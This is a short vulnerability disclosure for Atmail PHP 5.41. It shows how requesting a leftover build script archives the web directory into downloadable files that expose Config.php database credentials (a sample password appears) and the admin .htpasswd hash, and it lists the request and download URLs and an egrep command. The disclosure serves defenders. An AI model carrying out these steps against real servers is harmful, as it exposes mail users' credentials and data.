@Mail PHP Version 5.41 patch Release
http://atmail.com/demo/atmailphpdemo.tgz


The default install of Atmail 5.41 creates the following
file in the atmail/ directory: build-plesk-upgrade.php

If that file is called via http, such as: http://example.com/atmail/build-plesk-upgrade.php
it will execute on the local server as expected:

nobody   19495 11.3  0.0 22572 8908 ?        S    17:25   0:00 /usr/bin/php /usr/local/apache/htdocs/atmail/build-plesk-upgrade.php

producing numerous warnings and errors:

building @Mail-Plesk Pro upgrade
Warning: mkdir() [function.mkdir]: Permission denied in /usr/local/apache/htdocs/atmail/build-plesk-upgrade.php on line 32
making . dir... making /usr/local/atmail-plesk-upgrade/.

and when complete the following files will exist:

/usr/local/apache/htdocs/atmail:
-rw-r--r--  1 nobody nobody 101754880 Jul 30 17:26 files.tar
-rw-r--r--  1 nobody nobody  27162656 Jul 30 17:26 plesk-atmail-upgrade.tgz

Those files are the contents of the atmail/ directory. The plesk-atmail-upgrade.tgz
only contains the files.tar file.



Either file could then be downloaded:

http://example.com/atmail/files.tar
http://example.com/atmail/plesk-atmail-upgrade.tgz

or copied to another directory on the server for browsing through. The information
contained in those files includes the Atmail Config.php file which stores the Atmail
database username, password, and database server hostname in plain text:

$ egrep 'sql_(user|host|pass)' libs/Atmail/Config.php
  'sql_host' => 'localhost',
  'sql_pass' => '43s2H4N55X',
  'sql_user' => 'atmail',

This information could then be used to access the Atmail database to obtain client credentials,
such as email addresses, usernames, passwords, session IDs, and more.

Also in the files.tar file is the webadmin/.htpasswd file, which contains the administrator
user's username and password hash.